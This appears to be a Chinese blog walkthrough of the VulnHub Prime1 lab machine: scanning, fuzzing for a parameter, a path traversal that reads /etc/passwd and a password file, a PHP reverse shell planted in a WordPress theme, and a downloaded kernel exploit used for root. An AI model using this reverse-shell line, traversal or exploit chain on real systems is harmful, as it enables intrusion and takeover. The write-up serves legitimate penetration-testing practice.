渗透测试Prime1
看了n天红队笔记,润来做做靶机,确实信息收集的能力提高
fuzz
dirb扫目录
内核提权
靶机:prime1 下载地址:https://download.vulnhub.com/prime/Prime_Series_Level-1.rar
常规渗透
apr-scan l
sudo nmap -sT --min-rate 10000 -p- 192.168.52.138 -oA a 扫描出的端口 22 和 80
用tcp扫描
sudo nmap -sT -sV -sC -O -p22,80 192.168.52.138 -oA a
用udp扫描
sudo nmap -sU -top-ports 22,80 192.168.52.138 -oA a
nmap漏洞脚本扫描
sudo nmap --script=vuln -p22,80 192.168.52.138 -oA
看到了一些关于端口后面服务的信息
udp扫出来一个68和631端口
开始渗透大多情况22端口是排在后面的,先看80端口
发现就只有一张照片其他啥都没有(没思路那就扫描一下)
/dev
/image.php
/wordpress/wp-login.php
/wordpress
妥妥的wordpress漏洞了,
dev的内容
hello
now you are at level 0 stage.
In real life pentesting we should use our tools to dig on a web very hard.
Happy hacking. 挖掘更深的东西
image.php也是一张图片
/wordpress/
/wordpress/wp-login.php是一个登录框 账号肯定是victor就是密码还没找到
换了一个扫描软件还是不行
gobuster dir -u http://192.168.52.138 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x html,php
继续用dirb进行扫描
dirb http://192.168.52.138 -X .zip,.txt
发现用gobuster也是可以扫出来的,加上txt
(重要的信息就是利用fuzz取模糊测试出参数,并且给出了一个location.txt文档)
└─# curl http://192.168.52.138/secret.txt
Looks like you have got some secrets.
Ok I just want to do some help to you.
Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck
Learn from here a basic tool with good usage for OSCP.
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
//see the location.txt and you will get your next move//
location.txt直接访问是访问不到的(难道需要挂代理),这里可以先不管毕竟有个fuzz这条路
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.52.138/index.php?FUZZ=RedteamNotes
发现一堆 Chars 是147说明没用直接 –hh 147忽略
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.52.138/index.php?FUZZ=RedteamNotes
发现了参数file咦逆推一下发现非常的合理(比较常规的参数名字)
└─# curl http://192.168.52.138/index.php?file
<html>
<title>HacknPentest</title>
<body>
<img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>
Do something better <br><br><br><br><br><br>you are digging wrong file</html>
提示说:你能做的更好,你挖错了文件
试了试image.php?file也还是不行(思路全无
)
看了看✌们的wp,就差一点上面我们不是获得了location.txt嘛,这里直接file=location.txt
└─# curl http://192.168.52.138/index.php?file=location.txt
<html>
<title>HacknPentest</title>
<body>
<img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>
Do something better <br><br><br><br><br><br>ok well Now you reah at the exact parameter <br><br>Now dig some more for next one <br>use 'secrettier360' parameter on some other php page for more fun.
</html>
使用secrettier360参数,对每一个页面,image index
最后你获得了正确的参数,啊不理解啥也没给我呀(而且这个也不是密码)
┌──(root㉿node1)-[/home/kali]
└─# curl http://192.168.52.138/image.php?secrettier360
<html>
<title>HacknPentest</title>
<body>
<img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br></html
又去看了看,发现都说了正确的参数(普通web给你个?file=你都能测../../etc/passwd为啥这里不测呢)
直接
curl http://192.168.52.138/image.php?secrettier360=../../../../etc/passwd
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
guest-s0wb1i:x:999:999:Guest:/tmp/guest-s0wb1i:/bin/bash
/home/saket有密码
但是尝试了n次的 secrettier360=/home/saket目录穿越也尝试了啥返回值都没有
脑瘫记录(打CTF没用不疯的bushi)
二个路径都说了有password.txt,发现了follow_the_ippsec密码
└─# curl http://192.168.52.138/image.php?secrettier360=../../../home/saket/password.txt
<html>
<title>HacknPentest</title>
<body>
<img src='hacknpentest.png' alt='hnp security' width="1300" height="595" /></p></p></p>
</body>
finaly you got the right parameter<br><br><br><br>follow_the_ippsec
</html>
成功登陆进去
在这里发现了一些php文件(本来思路是打算改然后写入一个php马,访问页面执行木马)但是发现失败了,不能保存!!!
翻了n遍,终于找到了一个有提交按钮的php文件
修改成功(接下来就是如何访问到这个secret.php文件即可)
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.52.137/4444 0>&1'"); ?>
这里需要了解一下wordpress模板的知识
/wordpress/wp-content/themes/twentynineteen/secret.php
themes往前面的路径是wordpress主题的固定路径,倒数第二个后面的是使用的主题的名字,最后一个是文件名
当前是twentynineteen主题
点击方法就触发了反弹shell
whoami发现是一个普通用户
sudo -l看一下有什么权限
www-data@ubuntu:/var/www/html/victor_undefeatable$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(root) NOPASSWD: /home/saket/enc
发现 enc的权限不够
ls -liah 发现是可以执行的 enc
www-data@ubuntu:/home/saket$ uname -a
uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
看看定时目录,发现只有sh权限 没用/bin/bash
www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$ cat /etc/crontab
<ml/wordpress/wp-content/themes/twentynineteen$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
@reboot bash /root/t.sh
#
www-data@ubuntu:/var/www/html/wordpress/wp-content/themes/twentynineteen$
尝试使用内核提权
searchsploit Linux ubuntu 4.10-28
英文翻译
第一个是 免usa...
Privilage Escalation是权限升级,后两个都可以
searchsploit Linux ubuntu -m 45010下载到本地
发现了编译方式
sudo gcc 45010.c -o 45010
然后把文件传到靶机上
本地开启服务器
php -S 0:80
靶机
一般都在 /tmp目录下载(因为权限比较高)
wget http://192.168.52.137/45010.c
没用执行权限 chmod+x 45010.c
gcc 45010.c -o 45010-2先编译
然后./45010-2执行,提权成功
然后看下有没有 python ,dpkg -l,发现有
生成一个交互式的
python -c "import pty;pty.spawn('/bin/bash')"
最后去root目录拿下flag
总结
渗透耗时 4个小时
首先扫端口,22 80,然后扫描80端口的目录,发现了 index.php image.php
用dirb指定后缀 .txt 发现了 secret.php
然后fuzz获得参数file= file=location.txt 发现了 那个secret360
然后 image.php?secre=../../获得了密码
登陆wordpress,写入一句话木马反弹shell成功
通过内核提权
nice!!!
另一种提权的方法
sudo -l 看当前权限
ls -liah/liuh 看当前目录的权限
find / -name '*backup*' 2>/dev/null | sort | less
sudo echo -n 'ippsec' | md5sum 生成字符串的md5值
-n去掉换行符
awk -F '' '{print $1}' 以空格作为分割,取第一个
sudo awk '{gsub(/ /,"\n");print}' CipherTypeRaw |sort | wc-l |uniq 所有的空格替换成换行 wc -l计算有多少行,uniq取唯一
od -A n -t x
dpkg -l | grep python
openssl涉及enc(openssl可以实现:秘钥证书管理、对称加密和非对称加密 。)
openssl一般会有二个文件,enc.txt key.txt 用key来解密enc文本
下面的情况适用于,一个root调用/tmp中的文件,并且我们可以修改文件内容
chmod +x /tmp/challenge加成可执行
-in filename:指定要加密的文件存放路径
-out filename:指定加密后的文件存放路径
-salt:自动插入一个随机数作为文件内容加密,默认选项
-e:可以指明一种加密算法,若不指的话将使用默认加密算法
-d:解密,解密时也可以指定算法,若不指定则使用默认算法,但一定要与加密时的算法一致
-a/-base64:使用-base64位编码格式
-k 私钥
-hex:使用16进制编码格式
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。